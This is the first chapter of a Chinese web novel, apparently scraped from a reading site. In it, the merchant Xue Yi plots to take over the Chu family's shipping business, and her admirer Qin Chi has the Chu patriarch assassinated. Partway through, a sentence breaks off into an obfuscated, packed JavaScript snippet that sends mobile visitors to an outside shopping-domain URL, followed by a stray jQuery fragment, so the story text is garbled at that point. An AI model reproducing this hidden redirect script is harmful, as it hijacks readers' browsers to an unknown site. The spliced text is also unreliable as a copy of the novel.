1. 第 1 章
    月升柳梢上,夜深人静,一阵风吹过,枝叶映在窗户纸上的影子随之轻微晃动,发出簌簌的声响。

    闺房门外万籁俱寂,本该守夜的丫鬟却一反常态,陷入沉沉昏睡。

    她总觉得自己从未睡得如此熟过。

    冬禧斜斜倚靠在门边,呼吸绵长均匀,正沉浸在梦乡中,因此也没有发现有一道深色的身影,倏然潜入。

    门开了条缝之后又喀哒一声轻轻关上,带起一小股风吹到冬禧脸上,也只是不舒服地皱了下眉头,轻挠了下脸便重新睡过去。

    梦里正和她家小姐数钱数得欢快。

    她家小姐薛薏是临安权贵圈中有名的荒唐人,却是冬禧眼中最厉害的人。

    只等小姐拿下褚家,就是名副其实的临安首富,老爷说的让小姐回家的事,也就可以提上日程了。

    当年小姐一意孤行外出经商,老爷嫌弃小姐丢人,直接放话不认她这个女儿,将尚年幼的小姐直接赶出了家门。但见小姐的生意做得一日比一日好,终究是血浓于水,松了口只要小姐成为了临安新任的首富,便同意小姐回家。

    到底是小姐的亲人。

    她觉得小姐虽然外表坚强,自己一个人在外到底孤单,不比薛家热热闹闹的,姊妹弟兄,父母双亲具在。老爷的续弦崔氏虽不是小姐的生身母亲,却也是左邻右舍有名的慈悲为怀。

    和小姐一母同胞的姐姐薛苡,同样不是崔氏亲生,但看大小姐性子单纯柔婉,如今也出落得大方得体,可见崔氏也是用心教养了的。

    冬禧年纪小,许多事情也只看得到表面,但对于小姐她是用了心的。

    薛薏身侧从来空无一人,待人接物温和有礼,深处却是冷淡和疏离。

    到时候,她们小姐也算衣锦荣归,和薛苡能姐妹重逢,也能得老爷夫人爱护,比起孤军奋战要好得太多。

    光是想想冬禧在梦里就忍不住唇角微微扬起,但也只是在梦里。

    而现实,闺房内燃着熏香,透过摇曳的烛火隐约能瞧见白烟缓慢攀上房梁又逐渐消散。

    房内盈满的是薛薏身上熟悉的味道。

    她喜欢燃茶芜香,此香侵入力极强,可使土石生香,就像薛薏的为人一样。

    毕竟谁也没想到她年纪轻轻横空出世,就那样不知不觉在临安站稳了脚跟,等人所有人反应过来,已成了不容人小觑的存在。

    秦敕脚步轻慢走近,食指勾着装香料的盒盖打开,捏起其中一丸靠近鼻尖轻嗅。

    上好的茶芜香,极为昂贵,一丸千金,有价无市。

    谁能像她一般奢侈,喜欢就日日熏着。

    她就算要天上星星他也给她寻来。

    毕竟是他的救命恩人,就算娇惯一些,也是可以担待的。

    秦敕看过去,薛薏神色淡然正侧卧在榻上,眉目舒展,一只胳膊压在颈下,另一只手悬在床沿。

    烛火一层一层染透床幔,最终撒在她身上柔和的光,漂亮得像一尊精雕细琢过的美人像,宁静而美好,总让人不忍去打搅。

    那人显然不包括秦敕。

    男人脚步一转径直走到床边,一言不发坐下,动作轻柔抬着将她的手腕放回去,随后撩起一缕青丝俯身放到唇边轻吻着。一双眸子在黑暗中愈显明亮,透着不为人知的暗芒。

    他已经被薛薏若即若离的态度逼得快要疯掉,连自己也不知道他究竟还能忍多久。

    薛薏一边嫌弃他出身卑贱,一边贪图他带来的便利,就像放风筝一样,将他死死拿捏在手里。他清楚一切,却欲罢不能。

    嗓音喑哑,恍惚宛如从暗处爬出来的恶鬼,若是薛薏清醒着,定然觉得毛骨悚然。

    “阿薏……”

    起码这个时候,她是真实的。

    他不喜欢她拿对外人一般的伪善面孔对着他,自私恶毒也好,心狠手辣也罢,他只想薛薏对他毫无保留。

    所以他会不择手段帮她达成她的一切目的,他会是她最利的刃,直到她彻底信任他。

    秦敕回想着她给自己下的最后通牒,没有注意时,薛薏的眼睫微颤,似是快要苏醒。

    -

    临安多水路,谁掌握了船运生意,便是扼住了财富的咽喉。褚家早在数年前就基本垄断了临安的船运生意,也是薛薏作为后来之人成为首富路上最大的绊脚石。

    秦敕习惯了她下手果断,但没想到薛薏给了他两个选择。

    要么他杀了褚曾。褚家老爷子仙去,必然方寸大乱,她可以趁机吞了褚家的生意。

    要么……她就嫁给褚曾,成为褚家的当家主母,从内部慢慢瓦解褚家的势力,一样可以取而代之。

    听得他差点儿气笑,“一树梨花压海棠,亏得你有这个雅趣。”

    他不信从来八面玲珑的薛薏会看不出来他对她的感情,绝对不会允许他人分享。

    她在装傻,或是……威胁他?

    好久没人敢威胁他了,上一个这么干的,今年应该八岁了。

    那褚曾年七十有余,偏偏为老不尊,小妾还一房接着一房纳着。身子不能人道,暗地里就不知道有多少腌臜手段折磨人。

    她以为嫁过去就是白得一个主母之位坐着?未免太天真了些!

    但即使明知道她在利用他,秦敕依旧见不得薛薏作践自己,不免染上怒气。

    薛薏是刚刚晨起,神态慵懒梳着头发,房里就他们二人,男女大防,在他眼中视若无物。

    相比秦敕淡定许多,淡淡瞥过去一眼,浅浅微笑,笑得势在必得。

    打一巴掌该给个甜枣。薛薏起身过去,葱白的手指攀上秦敕的侧脸,语气中带着些许的嗔怪和依恋让人晃神。

    “你舍得吗?”

    就是不知这其中几分真,几分假。

    在这个世道,有时姿容过盛不是什么好事。尤其她还是女儿身在商场浸润多年,这张脸给她带来机遇的同时也带来的许多麻烦,早习惯了察言观色。

    但对薛薏来说,利用好了可谓无往不利。

    而秦敕见她的第一面,眼中的惊艳难以掩饰,便偷偷种下了恶根。

    喜欢上她,可绝不是什么好事。

    秦敕的武功高深莫测,会是自己前进路上难得的助力,但也仅止于此。

    见人不说话,薛薏重新坐回去,低头敛了目光,落在桌上的黑金檀木梳子上,双面雕刻着精细的龙凤花纹,是不知道秦敕从哪里寻来送她的。

    日头斜斜照进来,刚好映在梳妆台上。

    略微抬眼,刚好能看到镜中不施粉黛已足够出尘清丽的美人,后面不远处站着一袭黑衣的潇洒少年,环手靠在柱子上,神情慵懒肆意,看着也是一对璧人。

    两人之间的气氛安祥舒适,恍惚间好像生活许多年的老夫老妻,不知什么时候,她已经习惯了他无缘闯入她的私人领地。

    薛薏有一瞬想着,好像继续这么生活下去,也不错。

    回过神后梳头的手猛地一顿,内心惊诧不安。

    她什么时候竟也贪图安逸了?真是不切实际。

    薛薏莫名笑笑,她这样的人配不上安稳的幸福,她早知道的。

    自己卑劣,不择手段,不值得任何人的信任和期待。唯一留给她的一条路是孤独地走到黑,她永远不会满足的,只会一步一步地往上爬。

    要么便声名显赫,她要无人敢欺她辱她。要么便中途摔得粉身碎骨,也是她活该。

    第一步,就是取代褚家,坐上临安的头把交椅。

    士农工商,商人居于最末流,就算末流她也要做到头,做到无人轻视。

    秦敕听出她笑里的哀切和悲凉,更感到奇怪,还没来得及深思,就看到薛薏看向他不动声色皱了下眉,即使细微依旧被秦敕敏锐捕捉到。

    叛逃的罪臣之子,一介罪奴,如何配得上她。

    秦敕装作没看懂薛薏眼中意思,只是眸色一暗。

    哪怕一瞬间他能感到他在薛薏心中的分量不是毫不犹豫可以抛弃的,不是纯粹出于利益考量的,剩下的一切他都可以不在乎。

    他会坦白自己的真实身份,告诉她她想要的一切,权力,地位,财富,他都能给她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711376|144569||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    但是从未。

    恶根只能结出苦果,就是不知这苦果最终是谁吃了。

    就在薛薏利用他的时候,可曾想过要付出代价。

    他太了解自己的性子了,极端的占有和极致的偏执。既然薛薏已决定招惹了他,那么此生他们注定纠缠,不死不休。

    被他喜欢,也不是什么好事。

    他能让她嫁人才怪。

    秦敕撇了撇嘴,冷哼一声道:“如你所愿。”

    四个字轻飘飘回荡在房中,秦敕的身影也随之消失。

    时至今日,事情好像早已偏离了应有的轨道。

    他的恩人,理应是纯真善良到极致,蠢得可怜的人,才能做出舍己救人这般事迹。他如此评价,不妨碍她确确实实救了他的性命,所以他会报恩。

    可薛薏与他所预料截然不同,反而……越来越勾起他的兴趣。

    她的野心,她的能力,比起循规蹈矩的大家闺秀,薛薏另辟蹊径出现在他眼前,且以无法遮掩的光芒迅速侵占他的视线,让他的心弦从此只为她而动。

    真是糟糕,秦敕默默想道。

    谁让她未经允许闯进他的世界,被他缠上也是活该。

    -

    回到王府,秦敕单手把玩着新送来的茶杯,想起薛薏装痴求他办事的模样,嘴角不觉勾起,抬手召来三个暗卫。

    语气依旧带着笑意:“可听懂了?”

    暗卫低头跪在他跟前,三个人的精神都十分紧张,应:“是。”

    直到秦敕示意他们离开,才松了口气。

    三个暗卫分别是听风,挽竹,吟酒,跟在秦敕身边多年,也是头一此见到他这般,那笑意虽浅,但已十分难得了。

    吟酒挂在树上,摇着头轻叹:“到底是什么恩人,值得王爷如此?”

    挽竹嬉笑拍上他的肩膀,被吟酒嫌弃地躲开,又锲而不舍,仗着过人的武力强拉过人,一只胳膊搭在他肩上,玩笑道:“薛姑娘此等才情相貌,当然是得以身相许了。”

    报恩的方式千种万种,若是他们王爷愿意,大可金银财宝随手打发,晋王府家大业大,总不会填不满一个姑娘的贪欲,若是真不知分寸,也别怪他们王府的刀剑无眼。

    哪里用隐姓埋名,天天跟着守着。挽竹看得清楚明白,王爷嘴上说着只是报恩,其实早被迷得找不着北了。

    虽然看破但不能说破,毕竟他还想多活几年。

    唯一知道内情的听风听着二人胡乱猜测,显得异常沉默,犹豫半天依旧没有开口解释,只是叫停了他们两个的打闹。

    “好了,王爷让我们刺杀褚曾,还是先执行任务。”

    让王爷身陷险境,是他失职,所以他同样感念薛薏的恩情,不想听挽竹用轻佻的语气谈论薛姑娘。

    薛姑娘对王爷,是实打实的救命之恩,怎么报都不为过。

    那时,连王爷自己都做好了赴死的准备。中间到底发生了什么,只有王爷和薛姑娘知道。

    可是现在,王爷对待薛姑娘真得还只是简单的报恩吗?

    听风说话还是有分量的,他一开口,两人顿时恢复了正色,听命行事。

    三人商量好后,当晚褚家老爷子便悄无声息死在了家中,褚家大房二房心思各异,竟无一人深思老爷子的死因,只是一夜之间,褚家一片缟素。

    葬礼充斥着虚情假意,唯一一声真切的恸哭,是长房长孙褚清,大房夫妻无能平庸,他从小长在老爷子膝下,按理说无疑是褚家的下一任继承人,坏就坏在偏偏有褚淮那么个惊才绝艳的小叔,年纪轻轻前途无量,也是难得令薛薏感到棘手的存在。

    褚家的人大多还都在大房和二房之中观望。

    不过他们争权夺利有的是勾心斗角,也正是薛薏所乐见的。

    -

    薛薏原本睡眠浅,察觉身边悉悉索索的动静很快苏醒过来。

    睁开眼后眸中一片漠然,还有森冷的杀意。

    电光火石之间,薛薏迅速将手伸到枕头下面摸出了藏着的匕首,不假思索往身前刺去。